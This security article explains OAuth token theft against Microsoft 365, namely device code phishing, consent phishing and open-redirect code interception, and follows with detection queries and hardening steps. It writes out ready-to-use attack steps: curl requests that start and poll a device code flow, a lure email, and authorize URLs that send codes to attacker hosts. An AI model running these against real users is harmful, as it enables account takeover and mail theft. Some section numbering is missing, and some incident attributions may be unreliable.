OAuth 2.0 was designed to solve a real problem: letting users grant third-party applications access to their resources without sharing their passwords. The protocol achieved that goal. What it did not anticipate was an ecosystem of high-value cloud identities, loosely governed application registrations, and attackers sophisticated enough to abuse the delegation model itself.

OAuth token theft attacks do not require stealing a password. They do not require bypassing MFA. In the most effective variants, they use Microsoft’s own legitimate infrastructure — devicelogin.microsoft.com — as the delivery mechanism. Understanding these attacks means understanding how OAuth’s trust model can be inverted.


OAuth 2.0 Fundamentals

OAuth 2.0 defines several authorization flows (called “grant types”) for different client scenarios. Understanding the flows is prerequisite to understanding the attacks.

Token Types

  • Access Token: Short-lived (typically 60–90 minutes in Microsoft Entra ID). Presented to resource servers (Microsoft Graph, SharePoint, Exchange) as a Bearer token. Stateless — the resource server validates it cryptographically without contacting the authorization server.
  • Refresh Token: Long-lived (hours to months depending on configuration). Used to obtain new access tokens when the current one expires. Stored by the client application. Compromising a refresh token gives persistent access.
  • ID Token: JWT containing user identity claims. Used by the client to know who the user is. Not presented to resource servers.

Key Grant Types and Their Attack Surfaces

Grant TypeIntended UsePrimary Attack Vector
Authorization CodeWeb apps with server backendOpen redirect, code interception
Authorization Code + PKCESPAs, mobile appsOpen redirect (PKCE mitigates code theft)
Device CodeBrowserless devices, CLIsDevice code phishing
Client CredentialsService-to-service, no userClient secret/certificate theft
Implicit (deprecated)Legacy SPAsToken leakage in URL fragment

Decoding a JWT Access Token

OAuth access tokens from Microsoft Entra ID are JWTs. They can be decoded (not encrypted — only signed) to inspect claims:

1# Base64-decode the payload section of a JWT (sections separated by '.')
2# Token format: header.payload.signature
3TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ij..."
4PAYLOAD=$(echo $TOKEN | cut -d'.' -f2)
5
6# Pad base64 if needed and decode
7echo "${PAYLOAD}==" | base64 --decode 2>/dev/null | python3 -m json.tool

Decoded payload reveals:

 1{
 2  "aud": "https://graph.microsoft.com",
 3  "iss": "https://sts.windows.net/TENANT_ID/",
 4  "iat": 1715200000,
 5  "exp": 1715203600,
 6  "scp": "Mail.ReadWrite Files.ReadWrite.All",
 7  "upn": "victim@corp.com",
 8  "oid": "a3f2b891-...",
 9  "tid": "TENANT_ID",
10  "unique_name": "victim@corp.com"
11}

The scp (scope) and exp (expiration) fields are critical. A stolen token is usable until exp — and if a refresh token is also captured, access continues indefinitely.


Attack Vector 1: OAuth Device Code Phishing

This is the highest-yield OAuth attack against Microsoft 365 environments, used by Storm-0408, APT29, and other threat actors in documented 2022–2024 campaigns.

How the Device Code Flow Works Legitimately

The device code flow exists for devices that cannot open a browser — think: CLI tools, IoT devices, smart TVs.

  1. The device requests a device_code and user_code from the authorization server.
  2. The device displays: “Visit https://microsoft.com/devicelogin and enter code: ABCD-EFGH”
  3. The user goes to that URL on any device, enters the code, and authenticates.
  4. The original device polls the token endpoint until authentication is complete, then receives the access token and refresh token.

The Attack

The attacker hijacks step 2. They initiate the flow themselves and send the user_code to the victim via phishing email or social engineering:

 1# Step 1: Attacker initiates device code flow for Microsoft Graph
 2curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode \
 3  -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
 4  -d "scope=https://graph.microsoft.com/.default offline_access"
 5
 6# Response:
 7{
 8  "device_code": "LONG_RANDOM_STRING_ATTACKER_STORES",
 9  "user_code": "ABCD-EFGH",
10  "verification_uri": "https://microsoft.com/devicelogin",
11  "expires_in": 900,
12  "interval": 5,
13  "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD-EFGH to authenticate."
14}

The attacker sends the victim an email: “Your Microsoft 365 session requires re-verification. Visit https://microsoft.com/devicelogin and enter code ABCD-EFGH.”

The URL is legitimate. The page is Microsoft’s. The victim authenticates with their credentials and MFA. The attacker’s polling loop receives the tokens.

 1# Step 2: Attacker polls while victim authenticates
 2curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
 3  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
 4  -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
 5  -d "device_code=LONG_RANDOM_STRING_ATTACKER_STORES"
 6
 7# After victim authenticates:
 8{
 9  "access_token": "eyJ0eXAiOiJKV1Q...",
10  "refresh_token": "0.AQ8Ar...",
11  "expires_in": 3599,
12  "token_type": "Bearer",
13  "scope": "https://graph.microsoft.com/.default"
14}

The refresh token provides persistent access. The attacker can now read all email, enumerate files, and access any Graph-enabled service the victim has permissions for.


The Attack

The attacker registers a malicious application in their own Azure AD tenant (or in a multi-tenant configuration). They craft an OAuth authorization URL with high-privilege scopes and send it to victims:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize
  ?client_id=ATTACKER_APP_CLIENT_ID
  &response_type=code
  &redirect_uri=https://attacker-controlled-site.com/callback
  &scope=Mail.ReadWrite+Files.ReadWrite.All+offline_access
  &response_mode=query
  &state=RANDOM_STATE

When the victim clicks the link and signs in, they see a consent screen: “This app by [Attacker Org Name] wants to: Read and write your mail, Read and write your files.”

If the victim consents, the attacker’s callback URL receives the authorization code. The attacker exchanges it for tokens — without ever knowing the victim’s password.

Microsoft has tightened user consent restrictions since 2022. By default, users can only consent to apps from verified publishers and only for low-risk permissions. However, misconfigured tenants still allow broad user consent.


Attack Vector 3: Open Redirect for Authorization Code Interception

In the Authorization Code flow, after user authentication, the identity provider redirects back to the registered redirect_uri with the authorization code as a query parameter:

https://legitimateapp.com/callback?code=AUTH_CODE&state=STATE

If legitimateapp.com has an open redirect vulnerability:

https://legitimateapp.com/redirect?url=https://attacker.com/capture

An attacker constructs a phishing URL:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize
  ?client_id=LEGITIMATE_APP_ID
  &redirect_uri=https://legitimateapp.com/redirect?url=https://attacker.com/capture
  &response_type=code
  &scope=openid+Mail.ReadWrite

The authorization code is delivered to the attacker. Without PKCE, this code can be exchanged for tokens directly.


Real Incidents

Storm-0408 (2023): Microsoft Threat Intelligence reported that Storm-0408 conducted large-scale device code phishing campaigns targeting Microsoft 365 users across government, defense, and financial sectors. The group used the legitimate Microsoft device login page to bypass MFA entirely — the victim authenticated themselves. Post-compromise activity included email exfiltration via Graph API and lateral movement using the refresh tokens’ long-lived access.

Microsoft 365 Consent Phishing (2022–2023): Multiple threat groups — including those targeting law firms, healthcare organizations, and educational institutions — ran illicit consent grant campaigns at scale. Proofpoint documented campaigns where attackers registered applications with names like “Shared Files,” “COVID-19 Test Results,” and “Benefits Update” to encourage victim consent. CISA Alert AA23-025A documented this attack pattern explicitly.

Midnight Blizzard / NOBELIUM (2021): Microsoft disclosed that Midnight Blizzard (the group behind SolarWinds) used a combination of OAuth application abuse, service principal compromise, and token theft to maintain persistent access to cloud environments post-initial compromise. They specifically created OAuth apps with tenant-wide mail access to conduct espionage.


Detection

Azure AD Audit Logs — Detect New OAuth App Consents (KQL)

// Detect newly consented OAuth apps with high-privilege scopes
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName == "Consent to application"
| extend AppDisplayName = tostring(TargetResources[0].displayName)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend Scopes = tostring(AdditionalDetails)
| where Scopes has_any ("Mail.ReadWrite", "Files.ReadWrite.All", "Directory.ReadWrite.All",
                         "RoleManagement.ReadWrite", "full_access_as_user", "Mail.Send")
| project TimeGenerated, AppDisplayName, ConsentedBy, Scopes, Result
| order by TimeGenerated desc
// Detect device code flow sign-ins — potential device code phishing
SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode" or ClientAppUsed == "Device Code Flow"
| where ResultType == 0
| project TimeGenerated, UserPrincipalName, IPAddress, Location, AppDisplayName, DeviceDetail
| order by TimeGenerated desc

Python Script — Enumerate Suspicious App Consents via Microsoft Graph

 1import requests
 2import json
 3
 4# Requires Graph API token with AuditLog.Read.All and Application.Read.All
 5ACCESS_TOKEN = "YOUR_GRAPH_ACCESS_TOKEN"
 6HEADERS = {"Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json"}
 7
 8HIGH_RISK_PERMS = [
 9    "Mail.ReadWrite", "Mail.Send", "Files.ReadWrite.All",
10    "Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory",
11    "full_access_as_user", "MailboxSettings.ReadWrite"
12]
13
14def get_service_principals():
15    url = "https://graph.microsoft.com/v1.0/servicePrincipals?$top=200&$select=displayName,appId,oauth2PermissionScopes,appRoles"
16    response = requests.get(url, headers=HEADERS)
17    return response.json().get("value", [])
18
19def get_oauth2_grants():
20    url = "https://graph.microsoft.com/v1.0/oauth2PermissionGrants?$top=999"
21    response = requests.get(url, headers=HEADERS)
22    return response.json().get("value", [])
23
24grants = get_oauth2_grants()
25sps = {sp["id"]: sp["displayName"] for sp in get_service_principals()}
26
27print("[!] High-risk OAuth permission grants detected:")
28for grant in grants:
29    scopes = grant.get("scope", "")
30    if any(perm in scopes for perm in HIGH_RISK_PERMS):
31        client_id = grant.get("clientId", "unknown")
32        principal = sps.get(client_id, "Unknown App")
33        consent_type = grant.get("consentType", "unknown")
34        print(f"  App: {principal} | ClientId: {client_id} | Scopes: {scopes} | ConsentType: {consent_type}")

IOCs and Behavioral Indicators

  • New OAuth app consent events involving high-privilege MS Graph scopes
  • Device code flow authentications — especially from users who do not use CLI tools
  • Microsoft Graph API calls using tokens from non-registered first-party apps
  • Refresh token use from geographic location different from original auth
  • Bulk email access via Graph API (/me/messages or /users/{id}/messages) outside business hours
  • Suspicious redirect URIs in app registrations (ngrok URLs, dynamic DNS, unknown domains)

Defense and Mitigation

In Entra ID > Enterprise Applications > Consent and Permissions:

  • Set Users can consent to apps to “Allow user consent for apps from verified publishers, for selected permissions”
  • Or disable user consent entirely and require admin approval for all new apps
1# Set tenant consent policy via Microsoft Graph PowerShell
2Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
3    allowedToCreateApps = $false
4} -AllowEmailVerifiedUsersToJoinOrganization $false

Enable the admin consent request workflow so users can request access to apps without self-consenting:

In Entra ID > Enterprise Applications > User settings:

  • Enable Users can request admin consent to apps they are unable to consent to
  • Configure approvers (security team or specific admin role)

3. Enforce PKCE for All Public Clients

For applications you control, enforce PKCE on all authorization code flows:

 1import hashlib, base64, os, urllib.parse
 2
 3# Client-side PKCE generation
 4code_verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b'=').decode()
 5code_challenge = base64.urlsafe_b64encode(
 6    hashlib.sha256(code_verifier.encode()).digest()
 7).rstrip(b'=').decode()
 8
 9auth_params = {
10    "response_type": "code",
11    "client_id": "YOUR_CLIENT_ID",
12    "redirect_uri": "https://yourapp.com/callback",
13    "scope": "openid profile",
14    "code_challenge": code_challenge,
15    "code_challenge_method": "S256"
16}
17auth_url = "https://login.microsoftonline.com/TENANT/oauth2/v2.0/authorize?" + urllib.parse.urlencode(auth_params)

4. Block Device Code Flow via Conditional Access

If your organization does not use device code flow legitimately, block it via Conditional Access authentication flow policy:

In Entra ID > Security > Conditional Access > Authentication flows:

  • Create a policy targeting All Users
  • Block Device code flow

5. Short-Lived Tokens and Token Binding

Configure Entra ID token lifetimes to minimize the window for stolen token abuse:

1# Create a token lifetime policy with short access token lifetime
2$policy = New-MgPolicyTokenLifetimePolicy -Definition @(
3    '{"TokenLifetimePolicy": {"Version": 1, "AccessTokenLifetime": "01:00:00"}}'
4) -DisplayName "Short Access Token Lifetime" -IsOrganizationDefault $true

6. App Governance Policies (Microsoft Purview)

Microsoft Purview App Governance (formerly part of MCAS) can automatically generate alerts and remediation for:

  • Apps accessing data beyond expected scope
  • Sudden spikes in Graph API calls
  • New apps with high-privilege permissions

Enable App Governance in Microsoft Defender for Cloud Apps and configure alert policies for Mail.ReadWrite and Files.ReadWrite.All consents.

7. Continuous Access Evaluation (CAE)

Enable CAE in Entra ID to allow resource servers (Exchange, SharePoint, Teams) to evaluate token validity in near-real-time:

  • When a user is disabled, access tokens are revoked within seconds rather than waiting for expiry
  • Location changes trigger re-evaluation
  • Password changes invalidate outstanding tokens

Summary

OAuth token theft attacks succeed because OAuth’s delegation model was designed for convenience, not adversarial environments. The device code phishing variant is particularly dangerous because it weaponizes legitimate Microsoft infrastructure and bypasses MFA — the victim authenticates themselves. Effective defense requires restricting who can consent to apps, monitoring for high-privilege consent grants, blocking device code flow where not needed, and ensuring rapid token revocation through CAE. Detection focuses on Entra ID audit logs for consent events and sign-in logs filtered for device code authentications.

MITRE ATT&CK: T1528 — Steal Application Access Token



References